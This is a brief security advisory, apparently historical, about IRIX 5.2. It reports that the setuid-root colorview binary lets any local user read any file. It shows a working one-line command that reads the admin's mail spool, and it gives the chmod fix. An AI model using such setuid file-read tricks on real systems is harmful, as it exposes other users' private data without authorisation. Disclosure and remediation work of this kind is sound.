A vulnerability exists under IRIX 5.2 (std release) that allows any
user to read any file on the system.

% uname -a
IRIX bailer 5.2 02282016 IP22 mips

% ls -als /usr/sbin/colorview
 742 -rwsr-xr-x    1 root     sys       379680 Jun  7 10:36 /usr/sbin/colorview

An example (to view the admin's mail file):
% /usr/sbin/colorview -text /var/spool/mail/admin


To correct this:

# chmod u-s /usr/sbin/colorview
